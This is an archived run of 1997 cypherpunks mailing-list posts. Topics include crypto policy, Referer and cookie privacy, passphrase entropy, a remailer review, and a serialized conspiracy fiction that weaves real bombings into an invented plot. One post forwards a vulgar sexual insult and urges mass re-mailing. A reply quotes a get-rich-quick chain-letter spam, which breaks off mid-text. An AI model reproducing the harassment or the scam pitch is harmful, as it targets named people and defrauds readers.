Phill




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lo10tw==
--Boundary..3953.1071713693.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 18 Apr 1997 19:11:03 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [ANNOUNCEMENT] Firewalls
In-Reply-To: <199704182047.NAA15773@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970418201011.56154O-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 18 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> When Timothy C. May's mother gave birth to him 
> after fucking with a bunch of sailors, she 
> didn't know who the father was but decided to 
> tell him that he was a Russian as the Russian 
> sailor was the one who satisfied her the most.
> 
>       \\///
>       |O O| Timothy C. May
>       | ( |
>       |_@_|
>         H
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 18 Apr 1997 17:42:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: InterNet Free Terra
Message-ID: <TCPSMTP.17.4.18.-12.35.10.2780269260.1609377@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Here are some more mirror-sites of the anarchist
"Radikal"-magazine:

> http://huizen.dds.nl/~tank/radikal
> http://burn.ucsd.edu/%7Eats/RADIKAL/
> http://www.jca.or.jp/~taratta/mirror/radikal/
> http://huizen.dds.nl/~radikal/154/
> http://www.canucksoup.net/radikal/index.html
> http://www.ecn.org/radikal
> http://www.well.com/~declan/mirrors/
> http://www.connix.com/~harry/radikal/index.htm
> http://www.anok4u2.org/radikal/
> http://www.denhaag.org/~radikal
> http://emma.unm.edu/radikal
> http://www.tacacs.com/radikal/"
> http://users.abcs.com/dockmstr/mirror/radikal/index.htm
> http://home.ipr.nl/~radikal/
> http://www.ibmpcug.co.uk/~irdial/live_free/
> http://zero.tolerance.org/radi/index.htm
> http://www.meaning.com/library/radikal/
> http://www.wfmusic.fi/~toni/radikal
> http://www.euronet.nl/users/funest/radi/index.htm
> http://www.lab.net/radikal
> http://www.charm.net/~gbarren/radikal
> http://login.datashopper.dk/~pethern/not_by_me_not_my_views/radikal/
> http://radikal.autono.net./rad
> http://brazil.nbn.com/radikal/
> http://www.threeweb.ad.jp/~fubuki71/mirror/radikal/
> http://www.design.nl/~bram/radikal/
> http://www.eskimo.com/~quawk/radikal/
> http://www.calyx.com/~refuse/radikal/
> http://www.grfn.org/~rtwo
> http://www.grfn.org:4380 xs4all port mirror
> http://www.cyberpass.net/radikal
> http://www.xs4all.nl/~jeroenw/radikal/
> http://catalog.com/jamesd/radikal/
> http://www.islandnet.com/freedom/radikal/
> http://www.binary.net/mishania/radikal/
> http://www.io.com/~gbroiles/radikal.html
> http://inet.uni-c.dk/~pethern/radikal.154.txt radikal 154 in plaintext
> ascii.
> http://www.moebius.com.au/radikal/
> http://www.moebius.net/radikal/
> http://interpia.net/~baldodum/radikal/index.htm
> http://www.firstfloor.org/~vaclav/radikal
> http://www.nyct.net/~malba/radikal/


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Johnson <toto@sk.sympatico.ca>
Date: Fri, 18 Apr 1997 20:24:03 -0700 (PDT)
To: "Timothy C. May" <tcmay@got.net>
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <v03007801af7de0b60002@[207.167.93.63]>
Message-ID: <335835C6.7CFC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 5:55 PM -0800 4/18/97, Igor Chudov @ home wrote:
> >Timothy C. May wrote:
> >> ....and at least 1 to say that you gave no credit for this. Did you write
> >> it yourself? If so, congratulations, as it was pretty good. If you did not,
> >> you left out any mention of the author, or at least where you found it.

> >it was not me. When i got it, it had no attribution on it also.
 
> Then it's best to say so. "Anonymous" or "No attribution" is preferable to
> simple forwarding.

  When the post arrives with three or four sets of '> >>' (<--whatever
the
fuck these things are called), then even those of us who lost the better
part of our brains in the Drug War are able to figure out that it is a
forwarded-forwarded-forwarded post.
  I think Tim is fighting old wars in his head. (Find your shoes, yet,
Tim?)

> --Tim May, who's had his own stuff forwarded without credit, and recalls
> when one of Perry Metzger's pieces arrived back on the list, sans credit.

  I can sympathize with Tim, here. People who plagarize the works of 
others, or who steal credit for other's ideas, are the scum of the
earth.

Just say "No" to "Plagarists Inside"
We got no ethics, we're stealing sig lines, I know that that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:----
Toto                        | Crypto Anarchy: encryption, digital money,
robNsteal@gotyours.net      | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Your Mind       | knowledge, reputations, information
markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"Plagarists aren't even speed bumps on the disinformation superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Fri, 18 Apr 1997 18:15:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Web World 35
Message-ID: <33581C5E.1F80@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


The Triad


Jonathan, Alexis and Bubba sat sedately in the corner, waiting
for the Cowboy's arrival. Bubba broke out in a shit-eating grin,
and pulled a bottle of his infamous Private Reserve out from under
his robe.
Alexis, grinning from ear to ear, pulled out three shot-glasses
from her pocket.

Jonathan just stared at the two of them for a brief moment, as
if they were lunatics, then shrugged and reached for one of the
glasses.
"I suppose that a death row prisoner is entitled to a last
meal."

Bubba filled the three glasses, as the small crowd of fellow captives
on the other side of the room watched nervously. 
The guards looked at the Shadow, who sat brooding silently in
his magnificent seat at the center of the proscenium. He smiled
slightly, and waved away the guards' unspoken question.
Gomez enjoyed watching these diminutive beings clinging to their
small creature comforts in an effort to stave of the reality of
their pending doom. Like the band on the Titanic, playing vainly
as their audience danced their way to a watery grave.

Seeing the Shadow's reaction, various members of the small crowd
began pulling out small flasks and sharing them with the others.
They seemed much less relaxed than the triad in the opposite corner,
however, and were partaking of the beverages offered as if receiving
the final sacrament that would hopefully result in their passing
on to a better place.

As Bubba and Alexis were downing a second portion of bourbon,
Jonathan spoke in a hushed tone, as if imparting important information,

"Perhaps they just want to ask us a few questions."

Alexis spit up her bourbon, spraying Jonathan with a fine mist.
Bubba choked on his, trying to prevent it from running out of
his nose, but failing. Then the three of them sat rolling in laughter
as the others gazed across the room at them in disbelief of what
they were seeing.

"I'll drink to that.", Bubba said, upon regaining his
composure. He poured three more shots of his Private Reserve,
which the trio quickly downed.

"Seriously..." Jonathan began, pausing when Alexis
and Bubba looked at him skeptically.
"No, really seriously." he continued, turning
to face Bubba, "since sunset is fast approaching, and sunrise
may not be coming, as far as we are concerned..." The
three looked at each other in silent agreement of the seriousness
of the situation, "...then perhaps you could answer a
few questions that have been driving me crazy."
Jonathan was looking hopefully at Bubba, who merely nodded for
him to continue.

"Well, for one thing, I was puzzled about the apparent connection
of the Author with so many of the more miscreant individuals and
groups of his time, as well as arms-length links to some of the
more notable abhorrent events taking place around him.
"For instance," Jonathan continued, "it seems everywhere
the Author went, there arose groups and individuals who were major
players in acts of destruction which claimed to be aimed at the
Evil One and his sycophants, but which, in fact, caused the deaths
of a multitude of ordinary people."

Jonathan paused, to take a sip of bourbon, then continued.
"From the intellectual Berkeley radicals to the Unabomber;
from the Oklahoma City bombers to the Solar Temple and Heaven's
Gate cults..." Jonathan stopped momentarily, at a loss
for words, and then blurted out, "even his 'son of gomez'
persona, 'sog', was strewn throughout the web of paramilitary
organizations surrounding his travels...Sons of the Gestapo,
ZOG, the Zionist Occupational Government, and a dozen other examples
that..."

Bubba cut him short with a soft wave of his hand.
"And on, and on, and on..."

"Exactly!" Jonathan exclaimed, relieved that Bubba recognized
the widespread threads that the Author's presence seemed to link
to during his wide-ranging travels.

The triad tossed down another round of drinks, and then Alexis
and Jonathan sat quietly, waiting for Bubba to begin.

"Who did McVeigh, the Oklahoma City Bomber call before the
bombing?" Bubba asked Jonathan.

"Strassmeir." Jonathan replied, then added, "And
then Strassmeir's lawyer."

"And when did Strassmeir, a German with close ties to that
country's rulers, move to the United States?" Bubba continued.

"1989." Jonathan said, adding, with a tone of quiet
astonishment, "The year that 'The Xenix Chainsaw Massacre'
manuscript began circulating in underground computer circles."

Bubba smiled. "And what was the purpose of his move to the
U.S.?"

"To work on a special assignment for the U.S. Justice Department,
according to the interviews he gave in 'The Telegraph,' but he
was quoted as saying that 'It never worked out.'"

Bubba shook his head slowly in disbelief that Jonathan could have
done so much research, yet still manage to miss the obvious. 

"And, pray tell," Bubba prodded Jonathan, "what
were Strassmeir's duties when he was a lieutenant in the Panzer
Grenadiers, in Germany?"

Jonathan smiled sheepishly, and replied, "He worked to detect
infiltration by Warsaw Pact agents and then feed them disinformation."

He quickly continued the thread on his own, saying, "So his
claim of failure to go to work as an agent of the U.S. government
was merely more disinformation. And his U.S. contact was a retired
US Air Force colonel named Vincent Petruskie, who had strong ties
with double agents on both sides of the Iron Curtain."

Bubba nodded, smiling, and let him continue.

"Strassmeir went to Texas and started work for one of the
computer companies that was involved in the underground dissemination
of "The Xenix Chainsaw Massacre." 
Jonathan hesitated for a moment, then made a further connection
in his mind, and continued.
"He was involved in the international implementation of 'Operation
Eunuchs.'" Jonathan said with a look of amazement on his
face. "He wasn't an agent of the Author, he was involved
in the search for him."

Bubba slapped him on the back and handed Jonathan and Alexis another
round of drinks, which they raised in salutation to Jonathan's
mental detective work.

"Precisely." Bubba grinned, proud of his young protégé.
"The twisted trails which appear to follow the Author's presence
were actually indications of the results of the dissemination
of his manuscript."

"The reason that the momentous 'Operation Eunuchs' had so
much trouble following the trail of the mythical 'Circle of Eunuchs'
was that the only outward manifestations of the Author's manuscript
showed up in the work of those individuals who misunderstood his
message and incorporated his themes in their overt activities
and organizations. 
"Thus Strassmeir ended up following the trail to the Elohim
City religious militants, while other agents involved in the operation
infiltrated the Heaven's Gate cult who had extrapolated the 'Circle
of Eunuchs' ideal to include castration for the purpose of preventing
deviation from their aim of honing their computer skills to work
against the Evil One directly."

"Which was the very reason that those at the original meeting
of the Circle decided to go their separate ways, having no overt
contact with one another." Jonathan picked up the thread,
as he was starting to see the beauty underlying that decision.

"With no contact, the Magic Circle only existed in concept,
not in reality, so they could not be found, and thus be destroyed."

"They existed only in the Land of Mythos, as potentially
real." Alexis added, beaming. "Like a gas that could
be condensed, or solidified, in an instant, given the right conditions."

"Yes." Bubba beamed along with her, proud of both of
his protégés.
"While Gomez and the Dark Forces kept an eye on those, such
as the Unabomber, the Freemen, and the Posse Comitatus, who seemed
to be actively engaged in promoting the themes espoused by the
Author's manuscripts, but who were, in fact, merely incorporating
misguided bits and pieces of it into their activities."

"But didn't the Unabomber have a direct relationship to the
Author?" Jonathan asked Bubba, a quizzical look on his face.

"I remember that the Unabomber used to send him communiqués
over the InterNet through a contact in Billings, Montana."

"The contact was one-way." Bubba replied placidly.
"The Unabomber was linked to the hacker who named himself
the 'Evil 1', because of the Author's designation of the true
Evil One as the chief enemy of the Circle of Eunuchs. The Evil
1 hounded the Author wherever he surfaced on the InterNet, having
such prodigious computer skills that he could track him in a multitude
of ways, despite the inability of the Shadow's legion of agents
to pick up the Author's trail."

"Didn't the Author expose the Unabomber, leading to his arrest?"
Jonathan asked.

"Not directly." Bubba stated, smiling. "But he
certainly caused the discovery of his identity to the authorities."

Bubba laughed lightly, and told Jonathan and Alexis, with a wink,
"He tripped the Unabomber up with the 'Winner's Bluff' gambit,
just as he did with myself, and Gomez, and more than a few others
in his time."

"The reward for the Unabomber had grown to two million dollars,"
Bubba related to his avid listeners, "so the stakes were
extremely high.
"The Author, having traced the source of the Unabomber's
communications to him to Montana, suddenly contacted Basis Inc.'s
'gomez', in Berkeley, suggesting that he had a hot trail and they
should join forces to expose the Unabomber and share the reward.

"He purposefully transmitted the message in the clear, allowing
the Evil 1 hacker to intercept his message and pass it along to
the Unabomber, who, shortly thereafter, believing that the Cowboy
indeed held the cards needed to expose him, contacted his family
and had them turn him, thinking that he was outmaneuvering the
Author and enriching his family in the face of the inevitable."

"But he didn't actually have the cards to do it, did he?"
Alexis broke in with a Cheshire cat grin.

"No," Bubba smiled at her, "he didn't hold a single
face-card, as a matter of fact. All he knew was the source of
the ISP the messages were coming from, and he well knew that the
Evil 1 hacker would be able to pick up the trail of any probing
actions that the Author and 'gomez' might engage in to find him.

"But he was so bold in his declaration that the Evil 1 didn't
want to take any chances, and so the hacker convinced the Unabomber
of the danger of the Author's threat in order to sacrifice the
Unabomber and leave a cold trail for anyone following up on the
Montana connection."

"So," Jonathan declared in retrospection, "my assumption
that the Author was performing a superhuman amount of activity
to cover all of the ground where his influence was obvious was
actually a result of the dissemination of "The True Story
of the InterNet" manuscripts."

"Exactly." Bubba nodded in agreement.

"While much of the true work of the individuals working as
single-cell units of the Circle of Eunuchs was taking place in
unknown places, using untraceable methods, portions of the Author's
concepts were surfacing overtly in the increasing resistance to
central authority that was taking place in society at that time.

"Jane Wardlow Prettyman described what was taking place during
that era," Bubba noted, "in a work called 'The Paranoid
Frontier.'"

Bubba quoted an excerpt quite easily from memory, even as he knocked
back yet another shot of Bubba's Private Reserve.
"The question of state's/county's rights vs. a central union
was not settled with the Civil War. It just went underground.
It went out West."

"And the Author spent the majority of his time in the West,"
Jonathan added thoughtfully, "where a fishing pole, a rifle,
and a six-pack of beer was considered to be the equivalent of
a paramilitary identity card."

"Very perceptive, Jonathan." Bubba spoke with a grin,
patting him on the back. "You've certainly picked up on one
of the essential reasons that the Author's manuscript spread so
readily among the citizen militia of the time, as well as among
the more technically inclined."

"The Author," he continued, "was not an ivory-tower
intellectual. He bounced bars, roughnecked in the oilfields, and
operated as many whore-houses as he did computer companies. 
"He was a man for all seasons," Bubba concluded, raising
his glass in toast, "much like myself."

"Right." Alexis laughed, poking Bubba in the ribs. 

"You've been thrown out of bars, roughnecked with young girls,
and spent more than your share of time in whore-houses."

Jonathan and Alexis laughed heartily, while Bubba tried his best
to look offended.

"What about the CypherPunks?" Jonathan changed the subject,
realizing that sunset was nearing and the Cowboy would soon be
making his appearance.
"There seemed to be so many indications of the presence of
the Circle of Eunuchs within their ranks, yet, at the same time,
every apparent indication that this or that individual was a member
of the Magic Circle quickly turned into a wisp of smoke when I
took pains to examine it."

Bubba paused, lost in reverie, as Jonathan and Alexis looked on,
and then he spoke slowly and thoughtfully.

"Actually, your observations were no different from those
of the Shadow. He always kept a close eye on the CypherPunks as
the possible core of the Circle of Eunuchs, should it actually
exist.
"And perhaps, in a way, it was."

Bubba sipped his bourbon slowly, then continued.
"Some of those at the original meeting of the Circle of Eunuchs
gravitated naturally toward the CypherPunks mailing list, finding
kindred spirits there. They soon realized that the CypherPunks
embodied much of what the spirit of the Circle of Eunuchs stood
for, from the first.
"My ancestor, Bubba Rom Dos I, had told them that they must
band together, in order to fight against Gomez and the Dark Allies.
Young, stuttering Michael told them that they must disperse and
work separately in their grand battle, in order to prevent becoming
a stiff, hard entity that could be broken by force."

"The CypherPunks were, in many ways, a physical incarnation
of the concepts underlying the Circle of Eunuchs. They could be
described as an oxymoron known as a 'band of anarchists'."

Jonathan chuckled, and intoned, solemnly, "Close ranks! Every
man for himself!"

"Precisely." Bubba thumped Jonathan roundly on the back,
and poured them all another round of Bubba's Private Reserve.

"Everything about them was a dichotomy."

"Every label one tried to put on them failed to stick. Any
individual on the CypherPunks list might argue one point of view
one day, and the opposite point of view the following day, and
yet somehow manage to be consistent throughout.
"They not only drove you crazy," Bubba nodded
to Jonathan, "and drove Gomez crazy...they even drove
themselves and each other crazy, as well."

Bubba shook his head, as if at a loss to describe the CypherPunks
any further. Then he added, in closing,
"Perhaps the most defining feature of the CypherPunks was
that they strove to 'walk their talk', as the saying was in those
days. While they decried the increasing infringement of central
authority on the freedom and privacy of the individual, which
was near its zenith at that point in time, they chose to fight
for the right to be self-willed, rather than to impose their will
and beliefs on others.
"Instead of concentrating their efforts on forcing the authorities
to acting rightly, in the interests of freedom and privacy, they
focused on routing around the impositions and infringements that
the government and dark forces enacted to try to contain them.

"John Gilmore, one of the CypherPunks founders, often said,
'The InterNet interprets censorship as damage, and routes
around it.'  Very Taoist." Bubba concluded.

Jonathan spoke softly, quoting a section of the Tao Te Ching which
had been a particular favorite of his grandfathers,
"A man of Virtue performs his part,
"But a man without Virtue requires others to fulfill their
obligations.
"The Tao of heaven is impartial.
"It stays with good men all the time."


The triad sat quietly, contemplating the lengthy trail of history
which had led to this point in time and space, where the future
of mankind seemingly lay in the balance, depending on what would
transpire among a mere handful of actors who were present.
But each of them realized that, whatever the outcome of this day's
deeds, it would be the result of eons of individuals who had raised
their banner, great or small, in the battle for freedom, and had
passed their torch to those who chose to carry it into the future.

A succession of individuals who had looked into the mirror of
their soul, heard the whisper of the Tao, and vowed that they
would not die plaintively pleading,
"Why didn't I do something."

Bubba poured the last of his Private Reserve into the shot glasses,
and raised his glass along with Jonathan and Alexis, as he softly
said, with a tone of great respect,
"To Vice-Admiral Bubba D'Shauneaux."

There was a commotion outside, beyond the doors of the Great Hall...


Chapter 35 - The Triad







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Fri, 18 Apr 1997 14:25:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Liberal party: definitely no crypto ban in Germany
Message-ID: <m0wIKBV-0003b7C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


Germany's liberal party FDP, which forms the government together with
the larger Christian Democrats (CDU), has announced that they will
not accept any restrictions to the use of cryptography.

Yesterday the German Bundestag began to debate the draft Information
and Communication Services Law (see
http://ourworld.compuserve.com/homepages/ckuner/homepage.htm for
information about that draft).

Both Minister of Justice Schmidt-Jortzig and FDP research politics
speaker Laermann said that cryptography must not be banned.  Laermann
said the FDP will definitely not accept any crypto law that restricts
or bans using cryptography.  "I say this in the knowledge that what is
desired herewith firstly is technically impossible, and secondly it
cannot be allowed to give up protection of private, economic and - I
say this from personal first hand, I may say bitter experience -
scientific data from unauthorized, unfair and even criminal doings.
The FDP will not allow that."

The FDP supports the draft Digital Signature Law, but will resist any
attempts to abuse the security infrascture as an entry into crypto
regulation.


Until recently, the FDP position on cryptography has been indifferent.
Early this year FDP politicians have begun to verbosely contradict
those in the CDU that want to restrict cryptography.  In March,
Minister of Justice Schmidt-Jortzig said at a North German FDP
convention: "Currently there exist demands to ban cryptography or to
deposit all keys with a central authority that can then arbitrarily
decrypt messages.  Those demands are deeply illiberal."  The
convention passed a resolution saying that "Nobody may restrict the
citicens' right to use encryption to protect their data from
unauthorized access by third parties."

The Bundestag vice president Burkhard Hirsch published a statement on
the FDP web server, saying that banning cryptography clearly is
pointless, and precisely for that reason not even the Third Reich or
East Germany had tried to do so.  In a letter to the newsmagazine
Spiegel, he wrote: "You could laugh your head off, if you didn't know
that they really mean it."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Apr 1997 21:00:13 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Light Bulbs & newsgroups
In-Reply-To: <v03007802af7de7659211@[207.167.93.63]>
Message-ID: <LaZD6D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> It's the American way.

Waco is the American way.  Ruby Ridge is the American way.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 18 Apr 1997 23:12:09 -0700 (PDT)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704182100.RAA19542@life.ai.mit.edu>
Message-ID: <3.0.1.32.19970418230820.006527d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:05 PM 4/18/97 -0400, Phillip M. Hallam-Baker wrote:
>As the person who invented (and mispelt) the referer link I don't
>agree with the arguments made against it. 
>The purpose of the referer link is
>to allow servers to collate pages of backlinks.
>This would make the Web browsable in both directions.
...
>Then they started jamming stupid ideas like cookies into the spec,
>ideas that showed all of five minutes thought.

One major problem with these features is that the security
implications become far more complex when you start combining them.
For instance, autoloading images without referer are safe - but
images + referer gives enough information to run doubleclick.
Cookies without referer are pretty safe - but cookies+referer
make cookies far less safe, and doubleclick more effective.

Then you start putting HTML capability in news readers,
and anybody who reads an article with an IMG in it
creates a record for spammers (or Arbitron) to use.

Rich Graves said that if you don't like the feature, take it up with the 
folks who wrote the spec - but the RFCs say that Referer needs to
be handled carefully, and should be optional...

>Of course there should be a toggle to allow users to turn off the 
>referer field. I tried to get a recomendation to do this put into the
>spec. People then started shouting at me saying that it was impossible
>to enforce and so the recomendation shouldn't be there. 

Perhaps too much commercial advertising capability already depended on it?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Fri, 18 Apr 1997 23:43:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: FCPUNX:Passphrase entropy
Message-ID: <199704190641.XAA16744@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:04 PM 4/18/97 -0700, Steve Schear wrote:
> If this is true then how much passphrase entropy is enough to thwart, 
> for example, an NSA crack attempt?  Seems to me it needs to be equal 
> to or greater than the encryption key. What are some good, practical 
> ways of achieving this?

Long keys or random keys.

Suppose you need 80 bits of entropy.

If your passphrase is truly random, for example
        9kDt3fagWxglr
You have about six bits a character, so you only need 
thirteen characters.

If, however, your pass phrase is an intelligible english 
sentence, for example
        Wandering past Saint Ives, I saw many fine buildings covered in ivy
across the road.
You only have about one bit per character, so you need an 
eighty character sentence.

If your passphrase is a short intelligible english phrase, 
as most of them are, it will succumb to a dictionary attack.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 19 Apr 1997 00:03:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: commercial web remailer myemail.net
In-Reply-To: <06434719900943@MyEmail.net>
Message-ID: <3.0.1.32.19970419000126.00677600@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>www.myemail.net is a commercial remailer service;

BTW, it only seems to know how to send mail to one recipient;
I tried sending mail to 
	cypherpunks@toad.com, administrator@myemail.net
and it only acknowledged the former.
I then tried sending mail to administrator@myemail.net
and found that address was blocked :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Fri, 18 Apr 1997 23:43:54 -0700 (PDT)
To: cypherpunks@toad.com
Subject: commercial web remailer myemail.net
Message-ID: <06434719900943@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




www.myemail.net is a commercial remailer service;
you can get an account for $5/month for some services,
and use their web form free to send email and post news.
Some parts of it are still under construction.

Email has a nice attention-getting footer that gets put on each message
to indicate that it's anonymous mail (so if you want to chain
through other remailers, you'll need cutmarks), which says there's
no sender identity logging.  On the other hand, there's an interesting
pixel in the web form that you use to send the email:
	<img src="/stats/makelog.cgi" height=1 width=1>

Blocking is available both for email addresses and newsgroups.
For email, just fill in your address in a form; it's not verified
(my attempted mail to testme@bogus.com was rejected).
The blocking works immediately, and since you submit email via a 
web form, reject messages get presented directly rather than
being emailed to the bit bucket at some remailer.
For news, the policy is that newsgroups will be blocked if there are
requests from 12 different people (as distinguished somehow from
12 different requests by the same person forging headers.)

Encryption: If you connect to https://www.myemail.net/, the button
for anonymous email will fetch the form using https: ; if not, then not.
So you'll have to remember to use it correctly.  It's 128-bit RC4,
which may affect some non-US users who haven't gotten SafePassage yet.

It's a good start.

			Bill Stewart, stewarts@ix.netcom.com



************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
 to the URL above for instructions on how to do so.
************************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Gasparovski / Daniel (ISE)" <d.gasparovski@student.canberra.edu.au>
Date: Fri, 18 Apr 1997 10:12:31 -0700 (PDT)
To: Rose <rose@lords.com>
Subject: remove
In-Reply-To: <199704171115.EAA00880@cascade.pacificrim.net>
Message-ID: <Pine.SOL.3.91.970419031145.23323E@student.canberra.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



Asswipe.


Dan ...
[                   Danny Gasparovski | Mortified by the lack of conscience   ]
[     u923168@student.canberra.edu.au | Our sanctity bears no relevance       ]
[   University of Canberra, Australia | Insignificant is our existence        ]
[ Bolt Thrower, "The IVth Crusade" -> | Hear the litany of life's persistence ]

On Thu, 17 Apr 1997, Rose wrote:

> 
> 
> 
> ****************************************************************************
> *This message provided by BULK E-MAIL. If you would like to be removed from*
> *further mailings, please return this message with "remove in the subject  *
> *line. This service will not contact you again. Thank You For Your Patience*
> ****************************************************************************
> 
> Dear friend,
> 
> The following income opportunity is one you may be interested in taking 
> look at.  It can be started with VERY MINIMAL outlay and the income return
> is TREMENDOUS!
> 
> <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
> You are about to make at least $50,000 - In less than 90 days
> Read the enclosed program...THEN READ IT AGAIN!...
> <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
> 
> The enclosed information is something I almost let slip through my
> fingers.  Fortunately, sometime later I re-read everything and gave
> some thought and study to it.
> 
> My name is Christopher Erickson.  Two years ago, the corporation I
> worked at for the past twelve years down-sized and my position was
> eliminated.  After unproductive job interviews,  I decided to open my
> own business.  Over the past year, I incurred many unforeseen financial
> problems.  I owed my family, friends, and creditors over $35,000.  The
> economy was taking a toll on my business and I just couldn't seem to
> make ends meet.  I had to refinance and borrow against my home to
> support my family and struggling business.  I truly believe it was
> wrong for me to be in debt like this.  AT THAT MOMENT something
> significant happened in my life and I am writing to share my experience
> in hopes that this will change your life FOREVER....FINANCIALLY!!!
> 
> In mid-December, I received this program via email.  Six months prior
> to receiving this program I had been sending away for information on
> various business opportunities.  All of the programs I received, in my
> opinion, were not cost effective.  They were either too difficult for
> me to comprehend or the initial investment was too much for me to risk
> to see if they worked or not.  One claimed I'd make a million dollars
> in one year...it didn't tell me I'd have to write a book to make it.
> 
> But like I was saying, in December of '95 I received this program.  I
> didn't send for it, or ask for it, they just got my name off a mailing
> list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
> make sure I was reading it correctly, I couldn't believe my eyes.  Here
> was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
> start, without putting me further in debt.  After I got a pencil and
> paper and figured it out, I would at least get my money back.  After
> determining that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".
> Initially I sent out 10,000 emails.  It only cost me about $15.00 for
> my time on-line.  The great thing about email is that I didn't need any
> money for printing to send out the program, only the cost to fulfill my
> orders.  I am telling you like it is, I hope it doesn't turn you off,
